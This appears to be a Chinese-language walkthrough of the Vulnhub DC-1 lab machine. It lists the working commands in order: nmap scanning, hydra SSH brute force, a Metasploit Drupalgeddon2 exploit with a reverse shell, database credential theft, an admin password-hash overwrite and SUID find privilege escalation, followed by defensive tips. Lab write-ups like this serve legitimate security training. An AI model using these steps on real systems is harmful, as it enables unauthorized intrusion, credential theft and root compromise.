Vulnhub靶机 DC-1打靶 渗透详细过程
字数 836 2025-08-19 12:42:32
DC-1 靶机渗透测试详细教程
1. 靶机环境准备
靶机下载
- 下载地址: https://www.vulnhub.com/entry/dc-1-1,292/
- 将下载的OVA文件导入到虚拟机软件中(如VMware或VirtualBox)
2. 信息收集阶段
主机发现
arp-scan -l
# 或使用nmap
nmap -sn 192.168.0.0/24
端口扫描
nmap -p- 192.168.0.106
# 详细服务扫描
nmap -sV -A 192.168.0.106
典型扫描结果:
- 22/tcp: SSH服务
- 80/tcp: HTTP服务
SSH爆破尝试(可选)
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.106
3. Web渗透
Web服务识别
- 访问http://192.168.0.106
- 识别出使用的是Drupal CMS
漏洞利用
使用Metasploit框架搜索Drupal相关漏洞:
msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.0.106
set LHOST 0.0.0.0
set LPORT 4444
exploit
成功后会获得一个www-data权限的shell。
4. 初始访问与信息收集
Flag1获取
cat flag1.txt
提示: "每一个好的CMS都需要一个配置文件--你也一样。"
查找Drupal配置文件
cd /var/www/sites/default/
cat settings.php
从配置文件中获取数据库凭据:
- 用户名: dbuser
- 密码: R0ck3t
5. 数据库渗透
获取交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
连接MySQL数据库
mysql -u dbuser -pR0ck3t
数据库操作
SHOW DATABASES;
USE drupaldb;
SELECT * FROM users;
获取管理员用户名和加密密码(通常是admin和Fred)。
密码重置
- 查找Drupal密码哈希脚本:
find / -name "passwd-hash.sh" 2>/dev/null
- 使用脚本生成新密码哈希:
php scripts/passwd-hash.sh admin
- 在MySQL中更新密码:
UPDATE drupaldb.users SET pass = '$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR' WHERE name = 'admin';
6. 提权操作
Flag3提示
cat flag3.txt
提示: "特殊的PERMS将帮助查找(find)密码-但您需要-exec命令来确定如何获得阴影中的内容。"
查找SUID权限文件
find / -perm -u=s -type f 2>/dev/null
# 或
find / -user root -perm -4000 -print 2>/dev/null
发现find命令具有SUID权限。
利用find提权
find /etc/passwd -exec "/bin/sh" \;
成功获取root shell。
7. 总结
渗透路径
- 通过Drupalgeddon2漏洞获取初始访问
- 查找配置文件获取数据库凭据
- 通过数据库操作重置管理员密码
- 利用SUID权限的find命令进行提权
关键点
- Drupal CMS的已知漏洞利用
- 配置文件信息泄露
- 数据库凭据存储位置
- 密码哈希生成方法
- SUID权限滥用提权
防御建议
- 及时更新CMS系统
- 配置文件权限设置
- 数据库密码复杂度
- 限制SUID权限命令